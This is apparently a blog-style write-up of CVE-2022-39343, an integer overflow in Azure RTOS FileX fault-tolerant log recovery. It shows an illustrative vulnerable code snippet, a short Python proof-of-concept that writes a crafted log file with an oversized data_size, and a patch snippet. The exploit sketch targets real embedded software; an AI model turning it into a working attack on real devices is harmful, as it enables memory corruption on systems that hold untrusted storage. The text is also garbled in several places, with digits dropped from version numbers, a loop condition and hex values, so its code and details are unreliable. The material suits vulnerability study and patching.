Azure RTOS FileX is a FAT-compatible embedded filesystem, tightly integrated with Microsoft’s Azure RTOS ThreadX. It’s widely used in IoT and embedded systems because of its lightweight design. However, versions before 6.2. of FileX come with a dangerous bug in their fault-tolerance log handling, specifically tracked as CVE-2022-39343.

This vulnerability enables attackers to trigger integer underflow or overflow, which can escalate to buffer overflows and arbitrary memory modification. Let’s take a detailed look at what went wrong, how you can exploit it, and how it’s patched.

Background: How Fault Tolerance Works in FileX

FileX includes a fault-tolerant (FT) mechanism that logs filesystem changes to a log file before writing them to the main filesystem. This way, if there’s a sudden reset or crash, the system can recover by applying logged changes.

Upon validation, entries are replayed by _fx_fault_tolerant_apply_logs.

- Log entries can have different types; one of them is FX_FAULT_TOLERANT_DIR_LOG_TYPE, meant for directory changes.

The Vulnerability: What’s Broken

The bug is in _fx_fault_tolerant_apply_logs (see fx_fault_tolerant_apply_logs.c#L218), where the log recovery routine does not properly check boundaries on log entry data, allowing negative or huge values via integer underflow/overflow.

Problematic Code Section

UINT   log_entries_remaining = *((UINT*)log_buffer + LOG_HEADER_ENTRIES_OFFSET);

while (log_entries_remaining > )
{
    UINT log_type = *((UINT*)log_buffer + LOG_ENTRY_TYPE_OFFSET);
    UINT data_size = *((UINT*)log_buffer + LOG_ENTRY_DATA_SIZE_OFFSET);

    // Missing: Validations on log_type, data_size

    memcpy(target_buffer, log_buffer + offset, data_size); // Dangerous: possible overflow!

    // ...move to next entry
    log_entries_remaining--;
}

If an attacker crafts a log file with a manipulated data_size (e.g., something huge like xFFFFFFFF or negative due to underflow), the memcpy can overwrite memory outside the intended buffer.

Requirements

- The system must accept attacker-controlled log files (e.g., a previously-created, valid log file on bootable media).

Simple PoC

# Create a malicious FAT fs image (Python snippet, pseudocode)
log_file = open('ftl_log.bin', 'wb')
log_file.write(b'MAGICHEAD')  # placeholder for log header
log_file.write(b'\x04\x00\x00\x00')  # num_entries = 4
log_file.write(b'\x02\x00\x00\x00')  # log_type = DIR_LOG_TYPE
log_file.write(b'\xFF\xFF\xFF\xFF')  # data_size = xFFFFFFFF (overflow)
log_file.write(b'A' * 128)           # log data (not enough, triggers overflow)
log_file.close()

When this log file is processed by a vulnerable FileX system, the oversized data_size causes memcpy to overwrite memory—potentially hijacking execution flow.

Patch and Workaround

The issue is fixed in FileX 6.2. by properly validating log entry fields before using them for memory operations.

Relevant Patch Snippet

if (data_size > MAX_LOG_ENTRY_SIZE)
{
    /* Stop processing, invalid entry */
    return FX_INVALID_LOG_ENTRY;
}

- Apply the fix from GHSA-rh8v-pv6v-mfmm:
   - In fx_fault_tolerant_apply_logs.c at line 218, ensure data_size is within bounds before using it as an argument to memcpy or similar functions.

References

- CVE-2022-39343: NVD Detail
- Original Advisory: GitHub Security Advisory
- FileX Source (Vulnerable Code): fx_fault_tolerant_apply_logs.c

Conclusion

CVE-2022-39343 reminds us that robust input validation is essential, even in embedded file systems. If you use Azure RTOS FileX before 6.2. with fault tolerance enabled, upgrade immediately or apply the recommended workaround. Such bugs aren’t just theoretical—given physical access, an attacker can compromise the core of your system.

Stay updated. Audit untrusted storage. Remember, firmware security starts at the fundamentals.

Timeline

Published on: 11/08/2022 08:15:00 UTC
Last modified on: 11/10/2022 00:32:00 UTC